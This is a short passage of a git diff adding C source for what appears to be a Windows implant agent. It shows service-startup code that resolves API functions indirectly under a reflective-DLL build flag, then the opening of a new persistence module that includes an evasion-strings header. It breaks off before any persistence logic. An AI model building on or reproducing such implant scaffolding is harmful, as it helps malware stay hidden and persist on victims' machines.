+ const char *sn = (argc > 0 && argv && argv[0]) ? argv[0] : "";
+ { const adv_api_t *_a = adv_get();
+ if (_a->RegisterServiceCtrlHandlerA)
+ g_ssh = _a->RegisterServiceCtrlHandlerA(sn, _svc_ctrl);
+ }
+ if (!g_ssh) return;
+ _svc_set(SERVICE_START_PENDING, 3000);
+ HANDLE ht = CreateThread(NULL, 0, _svc_agent_thread, NULL, 0, NULL);
+ _svc_set(SERVICE_RUNNING, 0);
+ if (ht) { WaitForSingleObject(ht, INFINITE); CloseHandle(ht); }
+ _svc_set(SERVICE_STOPPED, 0);
+}
+
+int WINAPI WinMain(HINSTANCE hI, HINSTANCE hP, LPSTR lp, int nC)
+{
+ (void)hI; (void)hP; (void)lp; (void)nC;
+ SERVICE_TABLE_ENTRYA ste[] = { {"", _svc_main}, {NULL, NULL} };
+ const adv_api_t *_adv = adv_get();
+ if (!_adv->StartServiceCtrlDispatcherA || !_adv->StartServiceCtrlDispatcherA(ste)) {
+ if (GetLastError() == ERROR_FAILED_SERVICE_CONTROLLER_CONNECT)
+ agent_run();
+ }
+ return 0;
+}
+#endif /* _REFLECTIVE_DLL */
diff --git a/agent/src/persist/persist.c b/agent/src/persist/persist.c
new file mode 100644
index 0000000..8967e27
--- /dev/null
+++ b/agent/src/persist/persist.c
@@ -0,0 +1,269 @@
+#define COBJMACROS
+#define INITGUID
+
+#include "persist.h"
+#include "evs_strings.h"
+#include
+#include